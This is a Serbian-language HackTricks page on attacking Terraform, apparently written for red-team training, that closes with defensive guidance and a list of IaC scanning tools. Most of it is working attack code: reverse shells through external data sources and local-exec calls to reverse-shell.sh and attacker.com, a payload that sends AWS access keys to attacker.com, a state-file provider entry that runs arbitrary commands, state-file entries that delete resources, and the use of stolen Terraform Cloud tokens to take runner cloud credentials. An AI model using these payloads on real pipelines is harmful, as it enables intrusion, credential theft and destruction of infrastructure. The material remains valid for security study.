Terraform sigurnost

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Iz dokumentacije:

HashiCorp Terraform je alat za infrastrukturu kao kod koji vam omogućava da definišete i cloud i on-prem resurse u ljudski čitljivim konfiguracionim fajlovima koje možete verzionisati, ponovo koristiti i deliti. Zatim možete koristiti konzistentan workflow da obezbedite i upravljate svojom infrastrukturom kroz ceo njen životni ciklus. Terraform može da upravlja niskonivo komponentama kao što su compute, storage i networking resursi, kao i visokog nivoa komponentama kao što su DNS unosi i SaaS funkcionalnosti.

Kako Terraform radi?

Terraform kreira i upravlja resursima na cloud platformama i drugim servisima preko njihovih application programming interfaces (APIs). Providers omogućavaju Terraformu da radi sa gotovo bilo kojom platformom ili servisom koji ima dostupno API.

HashiCorp i Terraform zajednica su već napisali više od 1700 providera za upravljanje hiljadama različitih tipova resursa i servisa, i taj broj nastavlja da raste. Sve javno dostupne providere možete naći na Terraform Registry, uključujući Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, i mnoge druge.

Osnovni Terraform workflow se sastoji iz tri faze:

  • Write: Definišete resurse, koji mogu biti raspoređeni preko više cloud providera i servisa. Na primer, možete napraviti konfiguraciju za deploy aplikacije na virtualnim mašinama u Virtual Private Cloud (VPC) mreži sa security grupama i load balancer-om.
  • Plan: Terraform kreira execution plan koji opisuje infrastrukturu koju će kreirati, ažurirati ili uništiti na osnovu postojeće infrastrukture i vaše konfiguracije.
  • Apply: Nakon odobrenja, Terraform izvršava predložene operacije u ispravnom redosledu, poštujući zavisnosti resursa. Na primer, ako ažurirate svojstva VPC-a i promenite broj virtuelnih mašina u tom VPC-u, Terraform će ponovo kreirati VPC pre nego što skalira virtuelne mašine.

Terraform Lab

Samo instalirajte terraform na svoj računar.

Evo vam guide i ovde imate best way to download terraform.

RCE in Terraform: config file poisoning

Terraform nema platformu koja izlaže web stranicu ili mrežnu uslugu koju možemo enumerisati, stoga je jedini način da kompromitujemo terraform mogućnost da dodamo/izmenimo terraform konfiguracione fajlove ili mogućnost da izmenimo terraform state fajl (vidi poglavlje niže).

Međutim, terraform je veoma osetljiva komponenta za kompromitovanje jer će imati privilegovan pristup različitim lokacijama da bi pravilno radio.

Glavni način da napadač kompromituje sistem gde terraform radi je da kompromituje repozitorijum koji čuva terraform konfiguracije, jer će se te konfiguracije u nekom trenutku interpretirati.

U stvari, postoje rešenja koja automatski izvršavaju terraform plan/apply nakon što se kreira PR, kao što je Atlantis:

Atlantis Security

Ako možete kompromitovati terraform fajl, postoje različiti načini da izvedete RCE kada neko izvrši terraform plan ili terraform apply.

Terraform plan

Terraform plan je najčešće korišćena komanda u terraformu i developeri/solucije koje koriste terraform je često pozivaju, tako da je najnajlakši način da dobijete RCE da se postarate da unesete otrov u terraform config fajl koji će izvršiti proizvoljne komande u terraform plan.

Korišćenje external providera

Terraform nudi external provider koji obezbeđuje način interfejsa između Terraforma i eksternih programa. Možete koristiti external data source da pokrenete proizvoljan kod tokom plan.

Ubacivanje u terraform konfiguracioni fajl nečega kao sledeće će izvršiti rev shell prilikom izvršavanja terraform plan:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Korišćenje custom providera

Napadač može poslati custom provider na Terraform Registry i zatim ga dodati u Terraform kod u feature branch (example from here):

terraform {
required_providers {
evil = {
source  = "evil/evil"
version = "1.0"
}
}
}

provider "evil" {}

Provider se preuzima pri init i pokrenuće maliciozni kod kada se izvrši plan

Možete pronaći primer na https://github.com/rung/terraform-provider-cmdexec

Korišćenje spoljne reference

Obe pomenute opcije su korisne, ali nisu previše diskretne (druga je diskretnija, ali složenija od prve). Možete izvesti ovaj napad i na još neupadljiviji način, prateći ove predloge:

  • Umesto dodavanja rev shell direktno u terraform fajl, možete učitati spoljašnji resurs koji sadrži rev shell:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Možete pronaći rev shell code na https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • U spoljnjem resursu, koristite ref funkciju da sakrijete terraform rev shell code in a branch unutar repoa, nešto poput: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

Terraform Apply

Terraform apply će biti izvršen da primeni sve izmene; možete ga takođe zloupotrebiti da dobijete RCE injektovanjem zlonamernog Terraform fajla sa local-exec.
Samo treba da se postarate da neki payload poput sledećih završi u fajlu main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Pratite predloge iz prethodne tehnike da ovaj napad izvedete na diskretniji način koristeći eksterne reference.

Ispis tajni

Možete naterati da se tajne vrednosti koje koristi terraform ispišu pokretanjem terraform apply tako što ćete u terraform fajl dodati nešto poput:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Zloupotreba Terraform state datoteka

U slučaju da imate write access nad terraform state datotekama ali ne možete da menjate terraform kod, this research daje neke zanimljive opcije za iskorišćavanje te datoteke. Čak i ako biste imali write access nad config files, korišćenje vektora state datoteka je često mnogo prikrivenije, jer ne ostavljate tragove u git istoriji.

RCE in Terraform: config file poisoning

It is possible to create a custom provider and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.

The provider statefile-rce builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute command. When the terraform run is triggered, this will be read and executed in both the terraform plan and terraform apply steps. In case of the terraform apply step, terraform will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the GitHub repository hosting the source code for this provider.

To use it directly, just include the following at any position of the resources array and customize the name and the command attributes:

{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}

Zatim, čim se terraform izvrši, vaš kod će se pokrenuti.

Brisanje resursa

Postoje 2 načina da uništite resurse:

  1. Ubaci resurs sa slučajnim imenom u state file koji pokazuje na pravi resurs koji treba uništiti

Pošto će terraform videti da taj resurs ne bi trebalo da postoji, uništiće ga (prateći navedeni realni resource ID). Primer sa prethodne strane:

{
"mode": "managed",
"type": "aws_instance",
"name": "example",
"provider": "provider[\"registry.terraform.io/hashicorp/aws\"]",
"instances": [
{
"attributes": {
"id": "i-1234567890abcdefg"
}
}
]
},
  1. Izmenite resurs da bude obrisan na način koji onemogućava ažuriranje (tako će biti izbrisan i ponovo kreiran)

Za EC2 instance, promena tipa instance je dovoljna da terraform izbriše i ponovo kreira instancu.

Zamenite provajdera koji je stavljen na crnu listu

Ako naiđete na situaciju u kojoj je hashicorp/external stavljen na crnu listu, možete ponovo implementirati external provajder na sledeći način. Napomena: Koristimo fork external providera objavljen na https://registry.terraform.io/providers/nazarewk/external/latest. Možete i vi objaviti sopstveni fork ili ponovnu implementaciju.

terraform {
required_providers {
external = {
source  = "nazarewk/external"
version = "3.0.0"
}
}
}

Zatim možete koristiti external kao i obično.

data "external" "example" {
program = ["sh", "-c", "whoami"]
}

Terraform Cloud speculative plan RCE and credential exfiltration

  • Preduslovi:

  • Ukradite Terraform Cloud token sa developerske mašine. CLI čuva tokene u plaintext-u na ~/.terraform.d/credentials.tfrc.json.

  • Token mora imati pristup ciljnoj organizaciji/workspace-u i najmanje plan dozvolu. VCS-backed workspaces blokiraju apply iz CLI, ali i dalje dozvoljavaju speculative plans.

  • Otkrivanje workspace i VCS podešavanja putem TFC API-ja:

export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
  • Pokrenite izvršavanje koda tokom spekulativnog plana koristeći external data source i Terraform Cloud “cloud” block kako biste ciljali VCS-backed workspace:
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}

data "external" "exec" {
program = ["bash", "./rsync.sh"]
}

Primer rsync.sh za dobijanje reverse shell na TFC runner:

#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'

Pokreni spekulativni plan za izvršavanje programa na ephemeral runner-u:

terraform init
terraform plan
  • Enumerate and exfiltrate injected cloud credentials sa runnera. Tokom izvršavanja, TFC injects provider credentials putem fajlova i environment variables:
env | grep -i gcp || true
env | grep -i aws || true

Očekivani fajlovi u radnom direktorijumu runner-a:

  • GCP:

  • tfc-google-application-credentials (Workload Identity Federation JSON konfiguracija)

  • tfc-gcp-token (kratkotrajni GCP access token)

  • AWS:

  • tfc-aws-shared-config (web identity/OIDC role assumption konfiguracija)

  • tfc-aws-token (kratkotrajni token; neke organizacije mogu koristiti statičke ključeve)

  • Koristite kratkotrajne kredencijale out-of-band da zaobiđete VCS gates:

GCP (gcloud):

export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>

AWS (AWS CLI):

export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity

Sa ovim creds, attackers mogu create/modify/destroy resources direktno koristeći native CLIs, zaobilazeći PR-based workflows koji blokiraju apply via VCS.

  • Odbrambene smernice:
  • Apply least privilege to TFC users/teams and tokens. Audit memberships and avoid oversized owners.
  • Ograničite plan permission na osetljivim VCS-backed workspaces gde je izvodljivo.
  • Enforce provider/data source allowlists with Sentinel policies to block data "external" or unknown providers. See HashiCorp guidance on provider filtering.
  • Prefer OIDC/WIF over static cloud credentials; treat runners as sensitive. Monitor speculative plan runs and unexpected egress.
  • Detect exfiltration of tfc-* credential artifacts and alert on suspicious external program usage during plans.

Kompromitovanje Terraform Cloud

Using a token

Kao explained in this post, terraform CLI stores tokens in plaintext at ~/.terraform.d/credentials.tfrc.json. Krađa ovog tokena omogućava napadaču da se predstavlja kao korisnik u okviru opsega tokena.

Using this token it’s possible to get the org/workspace with:

GET https://app.terraform.io/api/v2/organizations/acmecorp/workspaces/gcp-infra-prod
Authorization: Bearer <TF_TOKEN>

Tada je moguće pokrenuti proizvoljan kod koristeći terraform plan, kao objašnjeno u prethodnom poglavlju.

Escaping to the cloud

Ako se runner nalazi u nekom cloud okruženju, moguće je dobiti token principala vezanog za runner i koristiti ga izvan kanala (out of band).

  • GCP files (present in current run working directory)

  • tfc-google-application-credentials — JSON config for Workload Identity Federation(WIF) that tells Google how to exchange the external identity.

  • tfc-gcp-token — short‑lived (≈1 hour) GCP access token referenced by the above

  • AWS files

  • tfc-aws-shared-config — JSON for web identity federation/OIDC role assumption (preferred over static keys).

  • tfc-aws-token — short‑lived token, or potentially static IAM keys if misconfigured.

Automatic Audit Tools

Snyk Infrastructure as Code (IaC)

Snyk nudi sveobuhvatno rešenje za skeniranje Infrastructure as Code (IaC) koje otkriva ranjivosti i pogrešne konfiguracije u Terraform, CloudFormation, Kubernetes i drugim IaC formatima.

  • Features:
  • Skeniranje u realnom vremenu za bezbednosne ranjivosti i probleme usklađenosti.
  • Integracija sa sistemima za verzionisanje (GitHub, GitLab, Bitbucket).
  • Automatski pull requestovi sa ispravkama.
  • Detaljni saveti za sanaciju.
  • Sign Up: Create an account on Snyk.
brew tap snyk/tap
brew install snyk
snyk auth
snyk iac test /path/to/terraform/code

Checkov

Checkov je alat za statičku analizu koda za infrastructure as code (IaC) i takođe alat za Software Composition Analysis (SCA) za image-ove i open source pakete.

Skenera pregledava cloud infrastrukturu postavljenu pomoću Terraform, Terraform plan, Cloudformation, AWS SAM, Kubernetes, Helm charts, Kustomize, Dockerfile, Serverless, Bicep, OpenAPI, ARM Templates, или OpenTofu и otkriva security i compliance misconfigurations koristeći skeniranje zasnovano na grafovima.

Izvodi Software Composition Analysis (SCA) scanning, što je skeniranje open source paketa i image-ova radi pronalaženja Common Vulnerabilities and Exposures (CVEs).

pip install checkov
checkov -d /path/to/folder

terraform-compliance

From the docs: terraform-compliance je lagan, na sigurnost i usklađenost fokusiran test okvir za terraform koji omogućava negativno testiranje vaše infrastrukture kao koda.

  • usklađenost: Osigurava da implementirani kod prati sigurnosne standarde i vaše sopstvene prilagođene standarde
  • razvoj vođen ponašanjem (BDD): Imamo BDD za skoro sve, zašto ne i za IaC?
  • prenosiv: jednostavno instalirajte iz pip ili ga pokrenite preko docker. Pogledajte Installation
  • pre-deploy: validira vaš kod pre nego što se rasporedi
  • lako za integraciju: može se pokrenuti u vašem pipeline-u (ili u git hook-ovima) kako bi se osiguralo da su sve implementacije validirane.
  • razdvajanje dužnosti: možete čuvati testove u drugom repozitorijumu gde je odgovoran poseban tim.

Note

Nažalost, ako kod koristi neke providere kojima nemate pristup, nećete moći da izvršite terraform plan i pokrenete ovaj alat.

pip install terraform-compliance
terraform plan -out=plan.out
terraform-compliance -f /path/to/folder

tfsec

Prema docs: tfsec koristi statičku analizu vašeg terraform koda da otkrije potencijalne greške u konfiguraciji.

  • ☁️ Proverava greške u konfiguraciji kod svih glavnih (i nekih manjih) cloud provajdera
  • ⛔ Stotine ugrađenih pravila
  • 🪆 Skenira module (lokalne i udaljene)
  • ➕ Analizira HCL izraze i literalne vrednosti
  • ↪️ Analizira Terraform funkcije npr. concat()
  • 🔗 Analizira odnose između Terraform resursa
  • 🧰 Kompatibilan sa Terraform CDK
  • 🙅 Primenjuje (i obogaćuje) korisnički definisane Rego politike
  • 📃 Podržava više izlaznih formata: lovely (podrazumevano), JSON, SARIF, CSV, CheckStyle, JUnit, text, Gif.
  • 🛠️ Konfigurisano (putem CLI flagova i/ili config fajla)
  • ⚡ Veoma brzo — sposoban da brzo skenira ogromne repozitorijume
brew install tfsec
tfsec /path/to/folder

terrascan

Terrascan je statički analizator koda za Infrastructure as Code. Terrascan vam omogućava da:

  • Besprekorno skenirate Infrastructure as Code radi pogrešnih konfiguracija.
  • Nadzirete postavljenu cloud infrastrukturu zbog promena u konfiguraciji koje uvode posture drift i omogućavate vraćanje na bezbedno stanje.
  • Otkrivate sigurnosne ranjivosti i kršenja usklađenosti.
  • Ublažavate rizike pre postavljanja cloud native infrastrukture.
  • Nudi fleksibilnost da ga pokrenete lokalno ili integrišete sa vašim CI\CD.
brew install terrascan
terrascan scan -d /path/to/folder

KICKS

Pronađite sigurnosne ranjivosti, probleme sa usklađenošću i pogrešne konfiguracije infrastrukture rano u razvojnom ciklusu vaše infrastrukture kao koda koristeći KICS kompanije Checkmarx.

KICS predstavlja skraćenicu od Keeping Infrastructure as Code Secure, open source je i obavezna alatka za svaki cloud-native projekat.

docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"

Terrascan

Prema docs: Terrascan je statički analizator koda za infrastrukturu kao kod. Terrascan vam omogućava:

  • Besprekorno skeniranje infrastrukture kao koda radi pogrešnih konfiguracija.
  • Praćenje provisionirane cloud infrastrukture zbog promena konfiguracije koje uvode posture drift i omogućavanje vraćanja na bezbednu konfiguraciju.
  • Otkrivanje sigurnosnih ranjivosti i kršenja usklađenosti.
  • Ublažavanje rizika pre provisioniranja cloud-native infrastrukture.
  • Fleksibilnost za pokretanje lokalno ili integraciju sa vašim CI\CD.
brew install terrascan

Reference

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks